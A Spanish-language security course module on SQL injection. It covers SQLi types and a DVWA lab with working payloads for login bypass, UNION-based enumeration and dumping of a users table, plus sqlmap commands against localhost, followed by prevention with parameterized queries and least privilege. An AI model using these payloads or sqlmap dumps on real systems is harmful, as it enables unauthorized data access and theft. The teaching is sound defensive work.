Módulo 4 de 10

Módulo 4: Inyección SQL (SQLi)

Módulo 4: Inyección SQL (SQLi)

Aviso legal y ético obligatorio: todo lo que se describe en este módulo se practica exclusivamente en laboratorios propios o entornos autorizados (DVWA, OWASP Juice Shop, PortSwigger Web Security Academy, máquinas virtuales locales). Acceder, sondear o explotar sistemas sin autorización expresa del propietario es delito en España, tipificado en los artículos 197 bis y siguientes del Código Penal, con penas de hasta cinco años de prisión. Aquí el objetivo es entender la vulnerabilidad, detectarla en laboratorio y saber corregirla.

Qué aprenderás

  • Qué es la inyección SQL y por qué sigue siendo una de las vulnerabilidades más críticas de la web.
  • Los cuatro tipos principales: in-band (UNION-based y error-based), blind boolean-based, blind time-based y out-of-band.
  • Su posición en el OWASP Top 10:2025 como A05 Injection (en la edición de 2021 era A03).
  • Cómo detectar SQLi a mano con payloads básicos en DVWA.
  • Cómo hacer un bypass de login y extraer datos con ataques UNION en laboratorio.
  • Cómo automatizar la detección y explotación con sqlmap en entorno controlado.
  • Las contramedidas reales que eliminan esta vulnerabilidad en producción.
  • Cómo identificar SQLi en programas de bug bounty y en certificaciones como OSCP o eJPT.

Qué es la inyección SQL y por qué ocurre

Una inyección SQL (SQLi) ocurre cuando una aplicación web mete datos controlados por el usuario directamente dentro de una consulta SQL sin sanitizarlos ni separarlos del código. La base de datos no distingue entre instrucciones del programador y datos del atacante, así que ejecuta ambos como si fueran código legítimo.

El patrón vulnerable más común es la concatenación directa de cadenas:

// PHP vulnerable — NUNCA hagas esto en producción
$id  = $_GET['id'];
$sql = "SELECT * FROM productos WHERE id = '" . $id . "'";

Si el usuario envía el valor 1' OR '1'='1, la consulta resultante es:

SELECT * FROM productos WHERE id = '1' OR '1'='1'

La condición '1'='1' siempre es verdadera, así que la base de datos devuelve todas las filas de la tabla, da igual qué identificador se buscara. Lo que era una consulta acotada termina siendo un volcado completo.

Las causas de fondo son casi siempre las mismas: confianza ciega en la entrada del usuario, ausencia de consultas parametrizadas y, muchas veces, una cuenta de base de datos con más privilegios de los que la aplicación necesita.

En la edición vigente del OWASP Top 10:2025 la categoría A05 Injection (que agrupa SQL, NoSQL, OS command, LDAP, ORM e inyecciones de expresión) reúne 37 CWE y es, según OWASP, una de las categorías más probadas y con más CVE asociados. La CWE-89 (SQL Injection) está incluida ahí y la propia OWASP la describe como de baja frecuencia pero alto impacto, con más de 14 000 CVE acumulados. Cambia algo respecto a 2021: la inyección era entonces A03 y en 2025 baja dos puestos hasta A05, no porque haya perdido importancia, sino por la adopción más amplia de consultas parametrizadas y ORM.

Tipos de inyección SQL

In-band: UNION-based

Es la variante más directa. El atacante usa el operador UNION para pegar una segunda consulta SELECT cuyo resultado aparece en la misma respuesta HTTP que la consulta original. Hacen falta dos condiciones técnicas: la subconsulta inyectada tiene que devolver el mismo número de columnas que la original, y los tipos de datos de cada columna deben ser compatibles. El material de PortSwigger sobre ataques UNION es la referencia más completa que hay.

In-band: error-based

Cuando la aplicación muestra mensajes de error de la base de datos en la respuesta, el atacante puede usar funciones que generen errores descriptivos para sacar información (nombres de tablas, versión del motor, datos concretos) directamente del texto del error. Depende más del SGBD concreto que UNION-based.

Blind boolean-based

La aplicación no devuelve datos de la consulta ni mensajes de error, pero su comportamiento cambia según si la condición inyectada es verdadera o falsa: puede mostrar contenidos distintos, redirigir a otra página o cambiar el tamaño de la respuesta. El atacante hace preguntas de sí/no e infiere el valor carácter a carácter. Es lenta pero muy fiable. El tutorial de blind SQLi de PortSwigger explica este proceso con laboratorios interactivos.

Blind time-based

Cuando no hay ninguna diferencia observable en el contenido de la respuesta, el atacante recurre a funciones de retardo (SLEEP() en MySQL, pg_sleep() en PostgreSQL, WAITFOR DELAY en SQL Server) para inferir información a través del tiempo de respuesta. Si la consulta tarda N segundos, la condición es verdadera; si responde al momento, es falsa. Todavía más lenta que boolean-based, pero funciona incluso cuando la respuesta es idéntica en ambos casos.

Out-of-band (nivel avanzado)

En vez de leer los datos a través de la respuesta HTTP, el atacante hace que la base de datos los mande a un servidor externo bajo su control mediante DNS, HTTP u otros protocolos. El DNS suele ser el canal más eficaz porque muchas redes dejan salir consultas DNS sin restricción. Las técnicas dependen del motor: en Oracle son habituales funciones como UTL_HTTP, UTL_INADDR o el truco con extractvalue(xmltype(...)), que provoca una resolución DNS sin necesitar privilegios elevados; en SQL Server se abusa de xp_dirtree y en MySQL de LOAD_FILE sobre rutas UNC. Hace falta que el servidor de base de datos tenga conectividad de salida habilitada, algo que no siempre se da. Lo tratamos aquí a alto nivel porque las condiciones de explotación son bastante restrictivas; el laboratorio de out-of-band de PortSwigger deja practicarlo de forma segura.

Laboratorio práctico paso a paso

Entorno requerido: DVWA (Damn Vulnerable Web Application) corriendo en local o en una VM aislada, con el nivel de seguridad en Low. También puedes usar los laboratorios interactivos de PortSwigger Web Security Academy.

Paso 1 — Detección manual con comillas y operadores

El primer paso es siempre confirmar que el parámetro es vulnerable antes de intentar cualquier extracción de datos. Ve a la sección SQL Injection de DVWA e introduce en el campo User ID los siguientes valores, uno a uno, mirando la respuesta:

1
1'
1''
1 AND 1=1
1 AND 1=2

Cuando escribes 1' y la aplicación devuelve un error de MySQL como You have an error in your SQL syntax..., confirmas dos cosas: el parámetro se inyecta directamente en la consulta y el SGBD es MySQL. Con 1 AND 1=1 la aplicación debería devolver el resultado normal; con 1 AND 1=2, ninguno. Esa diferencia de comportamiento confirma la vulnerabilidad.

Paso 2 — Bypass de login con SQLi

DVWA también tiene una sección de login. Un formulario vulnerable construye la consulta así:

SELECT * FROM users WHERE username='$user' AND password='$pass'

Si en el campo de usuario metes el payload (fíjate en el espacio tras los dos guiones):

admin'-- -

La consulta resultante queda:

SELECT * FROM users WHERE username='admin'-- -' AND password='cualquier_cosa'

En MySQL/MariaDB el comentario de línea con doble guión exige un espacio (o un carácter de control) justo después: -- . Por eso se escribe -- -, donde el guión final actúa de carácter visible tras el espacio obligatorio; sin ese espacio el motor interpreta -- como un operador y el payload falla. Una alternativa que no necesita espacio es el carácter # (admin'#), también válido como comentario de línea en MySQL. Todo lo que va tras el comentario queda anulado: la condición de la contraseña desaparece y la sesión se abre como admin sin conocer la contraseña real.

Paso 3 — Determinar el número de columnas con ORDER BY

Antes de lanzar un ataque UNION hay que saber cuántas columnas devuelve la consulta original. El método más limpio es usar ORDER BY subiendo el número hasta que la aplicación devuelva un error:

1 ORDER BY 1-- -
1 ORDER BY 2-- -
1 ORDER BY 3-- -

Si ORDER BY 2 funciona y ORDER BY 3 da error, la consulta devuelve dos columnas. Recuerda el espacio obligatorio tras -- en MySQL: aquí se usa la forma -- -. Un método alternativo, que recomienda PortSwigger, es probar UNION SELECT con valores NULL subiendo su número (1 UNION SELECT NULL-- -, 1 UNION SELECT NULL,NULL-- -, …) hasta que la consulta deje de dar error; NULL es compatible con cualquier tipo de columna y evita errores de conversión.

Paso 4 — Ataque UNION para extraer datos

Con dos columnas confirmadas, comprueba qué columnas se ven en pantalla (algunas pueden no renderizarse):

1 UNION SELECT 'col1','col2'-- -

Si las dos cadenas aparecen en la respuesta, ambas columnas son explotables. Ahora saca información del sistema:

1 UNION SELECT user(),database()-- -

Esto devuelve el usuario de MySQL con el que corre la aplicación y el nombre de la base de datos activa.

Paso 5 — Enumerar bases de datos, tablas y columnas

MySQL (y MariaDB) guardan el esquema completo en la base de datos de sistema information_schema. La enumeración sigue una jerarquía: bases de datos, tablas, columnas, datos.

Para listar todas las bases de datos:

1 UNION SELECT schema_name,2 FROM information_schema.schemata-- -

Para listar tablas de la base de datos actual (dvwa):

1 UNION SELECT table_name,2 FROM information_schema.tables WHERE table_schema='dvwa'-- -

Para listar columnas de la tabla users:

1 UNION SELECT column_name,2 FROM information_schema.columns WHERE table_name='users'-- -

Y para volcar los datos (usuario y contraseña):

1 UNION SELECT user,password FROM users-- -

Las contraseñas en DVWA están hasheadas en MD5. En un pentest real tocaría intentar crackearlas offline con herramientas como john o hashcat, nunca contra sistemas de terceros.

Paso 6 — Automatización con sqlmap en laboratorio

sqlmap es la herramienta de referencia para automatizar la detección y explotación de inyecciones SQL. Está en Kali Linux y documentada en sqlmap.org y en su wiki de uso en GitHub. Úsala solo contra DVWA, Juice Shop u otros labs propios.

Primero necesitas la cookie de sesión de DVWA. Tras hacer login, cópiala desde las DevTools del navegador (pestaña Application → Cookies). El flujo completo es:

1. Detectar la vulnerabilidad:

sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" 
       --cookie="PHPSESSID=tu_session_id; security=low" 
       --batch

2. Listar bases de datos (--dbs):

sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" 
       --cookie="PHPSESSID=tu_session_id; security=low" 
       --batch 
       --dbs

3. Listar tablas de una base de datos (--tables -D dvwa):

sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" 
       --cookie="PHPSESSID=tu_session_id; security=low" 
       --batch 
       -D dvwa --tables

4. Volcar una tabla completa (--dump):

sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" 
       --cookie="PHPSESSID=tu_session_id; security=low" 
       --batch 
       -D dvwa -T users --dump

5. Para formularios POST (p. ej. Juice Shop), usa --data:

sqlmap -u "http://localhost:3000/rest/user/login" 
       --data='{"email":"*","password":"test"}' 
       --batch 
       --dbs

Entendiendo --level y --risk

Parámetro Rango Qué controla
--level 1–5 (defecto: 1) Amplía qué parámetros y cabeceras HTTP se prueban y cuántos payloads se lanzan. Los parámetros GET y POST se prueban siempre; la cookie se prueba desde nivel 2; las cabeceras User-Agent y Referer desde nivel 3; y la cabecera Host en nivel 5.
--risk 1–3 (defecto: 1) Controla qué payloads potencialmente peligrosos se incluyen. El nivel 1 es inocuo para casi todos los puntos de inyección; el nivel 2 añade pruebas de heavy-query time-based; el nivel 3 suma payloads OR-based, que en una inyección dentro de un UPDATE podrían modificar todas las filas de la tabla. Cuidado incluso en lab.

La opción --batch acepta automáticamente la respuesta por defecto de sqlmap en cada pregunta interactiva, útil para automatizar. Para pruebas de laboratorio rápidas basta con --level 2 --risk 1.

Cómo prevenirlo

La buena noticia es que la inyección SQL es de las vulnerabilidades más fáciles de eliminar del todo si se siguen las prácticas correctas desde el diseño. La hoja de prevención de SQLi de OWASP recoge las defensas en capas recomendadas.

1. Consultas parametrizadas (prepared statements): defensa primaria

Es la única defensa que elimina la vulnerabilidad por diseño. Al separar el código SQL de los datos, la base de datos nunca puede confundir un dato con una instrucción, sea lo que sea lo que envíe el usuario.

PHP con PDO:

// Correcto: consulta parametrizada
$stmt = $pdo->prepare("SELECT * FROM productos WHERE id = :id");
$stmt->bindParam(':id', $id, PDO::PARAM_INT);
$stmt->execute();

Python con psycopg2 (PostgreSQL):

cur.execute("SELECT * FROM productos WHERE id = %s", (id,))

Java con PreparedStatement:

PreparedStatement ps = conn.prepareStatement(
    "SELECT * FROM productos WHERE id = ?"
);
ps.setInt(1, id);

2. Stored procedures seguros

Los procedimientos almacenados son una alternativa válida siempre que estén bien escritos, con parámetros enlazados internamente. Lo importante es que el código SQL del procedimiento también esté parametrizado: si dentro se construye una cadena dinámica con EXECUTE o EXEC concatenando la entrada del usuario, la vulnerabilidad reaparece igual. Un procedimiento seguro en MySQL sería:

-- MySQL: stored procedure con parámetro de entrada tipado
DELIMITER //
CREATE PROCEDURE ObtenerProducto(IN p_id INT)
BEGIN
    SELECT * FROM productos WHERE id = p_id;
END //
DELIMITER ;

El parámetro p_id es de tipo INT, así que la base de datos rechaza automáticamente cualquier valor que no sea numérico. El procedimiento se llama desde la aplicación igual que una consulta parametrizada normal.

3. ORM (Object-Relational Mapping)

Frameworks como Eloquent (Laravel), Hibernate (Java), Django ORM o SQLAlchemy (Python) generan consultas parametrizadas de forma transparente. El desarrollador trabaja con objetos y el ORM se encarga de separar código y datos. Aun así conviene evitar las funciones raw query del propio ORM cuando interpolan cadenas.

4. Mínimo privilegio en la cuenta de base de datos

La cuenta con la que la aplicación conecta a la BD debe tener solo los permisos imprescindibles. Si la aplicación únicamente necesita SELECT, no le des INSERT, UPDATE, DELETE, DROP ni FILE. Así, si un atacante consigue inyectar, el daño queda limitado a lo que esa cuenta puede hacer.

5. Validación de entrada con lista blanca (allow-list)

Valida el tipo, la longitud y el formato esperado de cada parámetro. Un campo que solo debe recibir enteros positivos tiene que rechazar cualquier otra cosa antes de que llegue a la consulta. La validación con lista blanca es también la defensa que recomienda OWASP para las partes de la consulta que no admiten parámetros de enlace, como los nombres de tabla o columna y la dirección de un ORDER BY: ahí conviene contrastar la entrada del usuario contra un conjunto cerrado de valores permitidos. Esta capa no sustituye a las consultas parametrizadas, las complementa donde estas no llegan. Nota: el escapado manual de la entrada (por ejemplo mysqli_real_escape_string) está desaconsejado por OWASP como defensa principal, por su fragilidad.

6. WAF como capa extra (no como sustituto)

Un WAF (Web Application Firewall) puede bloquear payloads conocidos y ralentizar ataques automatizados, pero no es una solución arquitectónica. Los WAF se evaden y nunca deberían ser la única línea de defensa. Úsalos como capa adicional sobre código ya correctamente parametrizado.

Ejercicio propuesto

  1. Levanta DVWA (la que instalaste en el Módulo 1 con Docker Compose, accesible en http://localhost:4280) y pon el nivel de seguridad en Low.
  2. En la sección SQL Injection, detecta la vulnerabilidad a mano metiendo una comilla simple y mira el error.
  3. Determina el número de columnas con ORDER BY.
  4. Haz un ataque UNION para obtener el usuario de MySQL y la base de datos activa.
  5. Enumera las tablas de la base de datos dvwa y vuelca los registros de la tabla users.
  6. Repite el ejercicio con sqlmap usando --batch --dbs y después -D dvwa -T users --dump.
  7. Cambia el nivel de seguridad a Medium y mira qué cambia en el comportamiento de la aplicación y qué técnicas ya no funcionan directamente.
  8. Por último, corrige el código: localiza el archivo PHP fuente de DVWA que construye la consulta vulnerable y reescríbelo con una consulta parametrizada usando PDO.

Errores comunes

  • Pensar que filtrar comillas basta. Funciones como mysql_real_escape_string (obsoleta) o el escapado manual solo funcionan en contextos muy concretos y se han bypasseado históricamente muchas veces. Las consultas parametrizadas son el estándar.
  • Parametrizar solo el WHERE y olvidarse del ORDER BY. Los identificadores de columna (ORDER BY, GROUP BY, nombres de tabla) no admiten parámetros de enlace en la mayoría de drivers. Si son dinámicos, usa una lista blanca de valores permitidos.
  • Confiar en la validación del lado cliente. Cualquier validación en JavaScript se salta en segundos con las DevTools o Burp Suite. La validación real va siempre en el servidor.
  • Olvidarse de las consultas de segundo orden. Un dato que se guarda «limpio» en la BD puede acabar inyectándose después, si al recuperarlo se concatena directamente en una nueva consulta sin parametrizar.
  • Ejecutar sqlmap con --risk 3 en un lab compartido. Los payloads de riesgo alto pueden modificar o corromper datos incluso en entornos de práctica. Empieza siempre con lo mínimo necesario.

Preguntas frecuentes

¿SQLi afecta solo a MySQL?

No. La inyección SQL afecta a cualquier sistema de gestión de bases de datos relacionales: MySQL, MariaDB, PostgreSQL, Microsoft SQL Server, Oracle, SQLite y otros. La sintaxis de algunos payloads varía entre motores (por ejemplo, el comentario de línea en MySQL/MariaDB es -- con espacio obligatorio tras los guiones, o bien #; en Microsoft SQL Server, PostgreSQL y Oracle es -- sin ese requisito, y SQL Server, PostgreSQL y MySQL aceptan también el comentario en bloque /* */), pero el principio de la vulnerabilidad es el mismo en todos. La cheat sheet de SQLi de PortSwigger documenta las diferencias por motor.

¿Para qué sirve sqlmap si ya sé hacer el ataque a mano?

sqlmap no es un simple atajo. Implementa docenas de técnicas de evasión de WAF, detección automática de parámetros inyectables en formularios y cookies, soporte para autenticación HTTP y gestión de sesiones complejas. En un pentest profesional ahorra horas en la fase de enumeración, aunque entender el ataque manual sigue siendo imprescindible para interpretar sus resultados y para los casos donde sqlmap no llega (APIs no estándar, parámetros JSON anidados, cabeceras personalizadas). Para preparar el OSCP o el eJPT conviene dominar las dos aproximaciones.

¿Las consultas parametrizadas son siempre suficientes?

Para los parámetros de valor (lo que va en el WHERE, en los campos de un INSERT, etc.) sí, eliminan SQLi por diseño. El único caso donde no aplican directamente son los identificadores dinámicos (nombres de tabla o columna elegidos por el usuario), donde hay que usar validación de lista blanca. Combinando prepared statements para valores y lista blanca para identificadores, junto con el mínimo privilegio en la BD, la protección queda prácticamente completa. Consulta la guía oficial de OWASP SQL Injection Prevention para ejemplos por lenguaje.

¿Puedo practicar SQLi en sitios públicos si no tengo cuenta de usuario?

No, bajo ninguna circunstancia. Probar técnicas de inyección en sistemas que no son tuyos ni tienes autorización expresa y por escrito para auditar es delito en España (art. 197 bis y ss. del Código Penal) y en la mayoría de jurisdicciones. Usa siempre DVWA, OWASP Juice Shop, los laboratorios de PortSwigger Web Security Academy (gratuitos y legales), o máquinas de plataformas de CTF como HackTheBox o TryHackMe, donde el acuerdo de uso ya implica el permiso.

Recordatorio ético y legal

Este módulo forma parte de un programa de formación en ciberseguridad ofensiva con fines defensivos. Las técnicas descritas se practican única y exclusivamente en entornos de laboratorio legales y autorizados. Explotar estas vulnerabilidades en sistemas reales sin permiso expreso y por escrito del propietario es delito en España bajo los artículos 197 bis, 197 ter y concordantes del Código Penal, con penas de prisión de hasta cinco años y responsabilidad civil. Conocer estas técnicas te hace mejor profesional de la seguridad: úsalo para proteger, no para atacar.